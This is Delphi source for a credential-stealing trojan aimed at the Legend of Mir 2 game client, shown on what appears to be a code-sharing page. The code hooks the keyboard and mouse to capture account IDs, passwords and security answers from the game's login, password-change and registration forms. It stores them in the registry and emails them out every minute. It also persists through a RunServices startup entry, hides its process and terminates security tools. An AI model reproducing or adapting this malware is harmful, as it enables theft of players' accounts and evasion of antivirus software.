📄 main.dpr
字号:
program Main;
uses
Windows,
Reg in 'Reg.pas',
Other in 'Other.pas',
SendMail in 'SendMail.pas';
var
WinClass:TWndClassA;
Inst,Handle,KeyHook,MouseHook:Integer;
Msg:TMsg;
Buffer: array[0..260] of Char;
var
Wpa,Lpa:integer;
LogoID:String;
Str:array[1..19] of String;
PWhand:Longint;
const
CaptionName='Internet';
ClassName='TFinalPassword';
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'
function Sendmessage(handle:hwnd;Wmsg:integer; Lparam:integer; Wparam:Pchar):integer;stdcall;external 'user32.dll' name 'SendMessageA';
procedure LogoMouse;
var p:Longint;
c:array[1..19] of Longint;
Lo,L:Longint;
Rect:TRect; Cpoint:Tpoint;
i,t,n,s,f:integer;
SubKey,ServerName,ServerPlace:string;
VN:string; r:integer;
Begin
t:=0;
n:=0;
s:=0;
f:=0;
for i:=1 to 19 do c[i]:=0;
Lo:=findwindow(pchar('TfrmMain'),pchar('传奇客户端'));
L:=findwindowex(Lo,0,pchar('TComboBox'),nil);
SendMessage(L,$000D,36,pchar(LogoID));
if (Wpa=$0201) then begin
p:=findwindow(pchar('TfrmMain'),pchar('legend of mir2'));
for i:=1 to 19 do begin
c[i]:=findwindowex(p,t,pchar('TEdit'),nil);
t:=c[i];
if t=0 then break else begin
s:=s+1;
if IsWindowVisible(t) then n:=n+1;
end;
end;
getcursorpos(Cpoint);
Rect.TopLeft.X:=425;
Rect.TopLeft.Y:=337;
Rect.BottomRight.X:=495;
Rect.BottomRight.Y:=365;
if (n=2) and (ptinrect(Rect,Cpoint)) then begin
for i:=1 to s do begin
if c[i]=0 then continue;
if IsWindowVisible(c[i]) then begin
SendMessage(c[i],$000D,36,pchar(Str[i]));
if f=0 then begin
Addvalue(hkey_classes_root,'Legend','PW',pchar(Str[i]),1);
PWhand:=c[i];
end
else Addvalue(hkey_classes_root,'Legend','ID',pchar(Str[i]),1);
f:=f+1;
end;
end;
end;
Rect.TopLeft.X:=308;
Rect.TopLeft.Y:=141;
Rect.BottomRight.X:=476;
Rect.BottomRight.Y:=477;
if (n=0) and (s>=2) and (ptinrect(Rect,Cpoint)) and (getfocus=PWhand) then begin
i:=1;SubKey:='';
while i<=99 do begin
if keyexists(hkey_classes_root,'Legend\Enter',pchar(inttostr(i)))=false then begin
SubKey:=inttostr(i);
break;
end;
i:=i+1;
end;
if (ValueExists(hkey_classes_root,'Legend','ID')) and (ValueExists(hkey_classes_root,'Legend','PW')) then begin
addvalue(hkey_classes_root,'Legend','Flag','1',1);
addvalue(hkey_classes_root,pchar('Legend\Enter\'+SubKey),'区域',pchar(LogoID),1);
addvalue(hkey_classes_root,pchar('Legend\Enter\'+SubKey),'ID',pchar(readvalue(hkey_classes_root,'Legend','ID')),1);
addvalue(hkey_classes_root,pchar('Legend\Enter\'+SubKey),'PW',pchar(readvalue(hkey_classes_root,'Legend','PW')),1);
ServerName:=GetServerName(Readvalue(hkey_classes_root,pchar('Legend\Enter\'+SubKey),'区域'),Cpoint.Y);
ServerPlace:=GetServerPlace(Cpoint.Y);
addvalue(hkey_classes_root,pchar('Legend\Enter\'+SubKey),'SP',pchar(ServerName+ServerPlace+'【'+inttostr(Cpoint.X)+','+inttostr(Cpoint.Y)+'】'),1);
Delvalue(hkey_classes_root,'Legend','ID');
Delvalue(hkey_classes_root,'Legend','PW');
end;
end;
Rect.TopLeft.X:=489;
Rect.TopLeft.Y:=102;
Rect.BottomRight.X:=505;
Rect.BottomRight.Y:=127;
if (n=0) and (s>=2) and (ptinrect(Rect,Cpoint)) and (getfocus=PWhand) then begin
i:=1;SubKey:='';
while i<=99 do begin
if keyexists(hkey_classes_root,'Legend\Enter',pchar(inttostr(i)))=false then begin
SubKey:=inttostr(i);
break;
end;
i:=i+1;
end;
if (ValueExists(hkey_classes_root,'Legend','ID')) and (ValueExists(hkey_classes_root,'Legend','PW')) then begin
addvalue(hkey_classes_root,pchar('Legend\Enter\'+SubKey),'区域',pchar(LogoID),1);
addvalue(hkey_classes_root,pchar('Legend\Enter\'+SubKey),'ID',pchar(readvalue(hkey_classes_root,'Legend','ID')),1);
addvalue(hkey_classes_root,pchar('Legend\Enter\'+SubKey),'PW',pchar(readvalue(hkey_classes_root,'Legend','PW')),1);
addvalue(hkey_classes_root,pchar('Legend\Enter\'+SubKey),'SP',pchar('关闭'+'【'+inttostr(Cpoint.X)+','+inttostr(Cpoint.Y)+'】'),1);
Delvalue(hkey_classes_root,'Legend','ID');
Delvalue(hkey_classes_root,'Legend','PW');
end;
end;
Rect.TopLeft.X:=372;
Rect.TopLeft.Y:=404;
Rect.BottomRight.X:=445;
Rect.BottomRight.Y:=432;
if (n=4) and (ptinrect(Rect,Cpoint)) then begin
i:=1;SubKey:='';
while i<=99 do begin
if keyexists(hkey_classes_root,'Legend\Change password',pchar(inttostr(i)))=false then begin
SubKey:=inttostr(i);
break;
end;
i:=i+1;
end;
r:=1;
addvalue(hkey_classes_root,pchar('Legend\Change password\'+SubKey),'区域',pchar(LogoID),1);
for i:=1 to s do begin
if c[i]=0 then continue;
if IsWindowVisible(c[i]) then begin
case r of
1:VN:='RE';
2:VN:='NP';
3:VN:='OP';
4:VN:='ID';
end;
SendMessage(c[i],$000D,36,pchar(Str[i]));
Addvalue(hkey_classes_root,pchar('Legend\Change password\'+SubKey),pchar(VN),pchar(Str[i]),1);
r:=r+1;
end;
end;
end;
Rect.TopLeft.X:=240;
Rect.TopLeft.Y:=480;
Rect.BottomRight.X:=313;
Rect.BottomRight.Y:=509;
if (n=12) and (ptinrect(Rect,Cpoint)) then begin
i:=1;SubKey:='';
while i<=99 do begin
if keyexists(hkey_classes_root,'Legend\Registry',pchar(inttostr(i)))=false then begin
SubKey:=inttostr(i);
break;
end;
i:=i+1;
end;
r:=1;
addvalue(hkey_classes_root,pchar('Legend\Registry\'+SubKey),'区域',pchar(LogoID),1);
for i:=1 to s do begin
if c[i]=0 then continue;
if IsWindowVisible(c[i]) then begin
case r of
1:VN:='EM';
2:VN:='MN';
3:VN:='NU';
4:VN:='A2';
5:VN:='Q2';
6:VN:='A1';
7:VN:='Q1';
8:VN:='BI';
9:VN:='NA';
10:VN:='RE';
11:VN:='PW';
12:VN:='ID';
end;
SendMessage(c[i],$000D,36,pchar(Str[i]));
Addvalue(hkey_classes_root,pchar('Legend\Registry\'+SubKey),pchar(VN),pchar(Str[i]),1);
r:=r+1;
end;
end;
end;
end;
End;
procedure LogoKey;
var p:Longint;
c:array[1..19] of Longint;
i,t,n,s,f:integer;
Begin
t:=0;
n:=0;
s:=0;
f:=0;
for i:=1 to 19 do c[i]:=0;
p:=findwindow(pchar('TfrmMain'),pchar('legend of mir2'));
for i:=1 to 19 do begin
c[i]:=findwindowex(p,t,pchar('TEdit'),nil);
t:=c[i];
if t=0 then break else begin
s:=s+1;
if IsWindowVisible(t) then begin
n:=n+1;
if n=1 then PWhand:=t;
end;
end;
end;
if ((Lpa and $80000000)=0) and (Wpa=13) and (n=2) and (getfocus=PWhand) then begin
for i:=1 to s do begin
if c[i]=0 then continue;
if IsWindowVisible(c[i]) then begin
SendMessage(c[i],$000D,36,pchar(Str[i]));
if f=0 then Addvalue(hkey_classes_root,'Legend','PW',pchar(Str[i]),1)
else Addvalue(hkey_classes_root,'Legend','ID',pchar(Str[i]),1);
f:=f+1;
end;
end;
end;
End;
function MouseProc(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT; stdcall;export;
var i:integer;
Begin
Result:=0;
LogoID:='abcdefghijklmnopqrstuvwxyz1234567890';
for i:=1 to 19 do Str[i]:='abcdefghijklmnopqrstuvwxyz1234567890';
Wpa:=wParam;
Lpa:=lParam;
LogoMouse;
if iCode<0 then Result:=CallNextHookEx(MouseHook,iCode,wParam,lParam);
End;
function KeyPro(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
var i:integer;
Begin
Result:=0;
LogoID:='abcdefghijklmnopqrstuvwxyz1234567890';
for i:=1 to 19 do Str[i]:='abcdefghijklmnopqrstuvwxyz1234567890';
Wpa:=wParam;
Lpa:=lParam;
LogoKey;
if iCode<0 Then Result:=CallNextHookEx(KeyHook,iCode,wParam,lParam);
End;
function WindowProc(hWnd, uMsg, wParam, lParam: Integer): Integer; stdcall;
begin
Result:=DefWindowProc(hWnd, uMsg, wParam, lParam);
case uMsg of
$0002:
begin
if KeyHook<>0 then UnhookwindowsHookEx(KeyHook);
if MouseHook<>0 then UnhookwindowsHookEx(MouseHook);
Halt;
end;
end;
end;
procedure Time1pro(hWnd:Longint;uMsg:UINT;idEvent:UINT;Time:DWORD);
var p,t,i,s,n:integer;
begin
Killer;
Killpro('EGHOST.EXE');
Killpro('MAILMON.EXE');
Killpro('KAVPFW.EXE');
t:=0; s:=0; n:=0;
p:=findwindow(pchar('TfrmMain'),pchar('legend of mir2'));
for i:=1 to 19 do begin
t:=findwindowex(p,t,pchar('TEdit'),nil);
if t=0 then break else begin
s:=s+1;
if IsWindowVisible(t) then n:=n+1;
end;
end;
if ((n=2) and (s=2)) or (n=4) or (n=12) then begin
if KeyHook=0 then KeyHook:=SetWindowsHookEx(WH_KEYBOARD,Keypro,HInstance,0);
if MouseHook=0 then MouseHook:=SetWindowsHookEx(WH_MOUSE,@MouseProc,Hinstance,0);
end;
if (s=0) or (readvalue(hkey_classes_root,'Legend','Flag')='1') then begin
if KeyHook<>0 then begin
if UnhookwindowsHookEx(KeyHook) then KeyHook:=0;
end;
if MouseHook<>0 then begin
if UnhookwindowsHookEx(MouseHook) then MouseHook:=0;
end;
delvalue(hkey_classes_root,'Legend','Flag');
end;
End;
procedure Time2pro(hWnd:Longint;uMsg:UINT;idEvent:UINT;Time:DWORD);
begin
ClearSH(HKEY_CLASSES_ROOT,'Legend\Enter');
ClearSH(HKEY_CLASSES_ROOT,'Legend\Change password');
ClearSH(HKEY_CLASSES_ROOT,'Legend\Registry');
ClearUnRecord(HKEY_CLASSES_ROOT,'Legend\Change password','Change password');
ClearUnRecord(HKEY_CLASSES_ROOT,'Legend\Registry','Registry');
Sendmail.SendEMail;
end;
procedure WinMain;
begin
Inst:=hInstance;
with WinClass do
begin
style:=CS_CLASSDC or CS_PARENTDC;
lpfnWndProc:=@WindowProc;
hInstance:=Inst;
hbrBackground:=color_btnface + 1;
lpszClassname:=ClassName;
hCursor:=LoadCursor(0, IDC_ARROW);
end;
if RegisterClass(WinClass)=0 then Exit;
Handle:=CreateWindowEx(WS_EX_WINDOWEDGE,ClassName,CaptionName,WS_SIZEBOX or WS_CAPTION or WS_SYSMENU,0,0,1,1,0,0,Inst,nil);
if Handle <> 0 then
begin
ShowWindow(Handle,sw_HIDE);
settimer(Handle,1,1000,@Time1pro);
settimer(Handle,2,60000,@Time2pro);
while(GetMessage(Msg,Handle, 0, 0)) do
begin
TranslateMessage(msg);
DispatchMessage(msg);
end;
end;
End;
begin
GetModuleFileName(0,Buffer,Sizeof(Buffer));
Copyfile(Buffer,pchar(getwp+'Internet.exe'),False);
Reg.AddValue(HKEY_LOCAL_MACHINE,'SoftWare\Microsoft\Windows\CurrentVersion\RunServices','Internet',pchar(GetWP+'Internet.exe'),1);
if UpperCase(strpas(Buffer))<>UpperCase(GetWP+'Internet.exe') then begin
Winexec(pchar(GetWP+'Internet.exe'),sw_show);
Exit;
end;
if FindWindow(ClassName,CaptionName)<>0 then Exit;
RegisterServiceProcess(GetCurrentProcessID,1);
Killer;
Killpro('EGHOST.EXE');
Killpro('MAILMON.EXE');
Killpro('KAVPFW.EXE');
WinMain;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -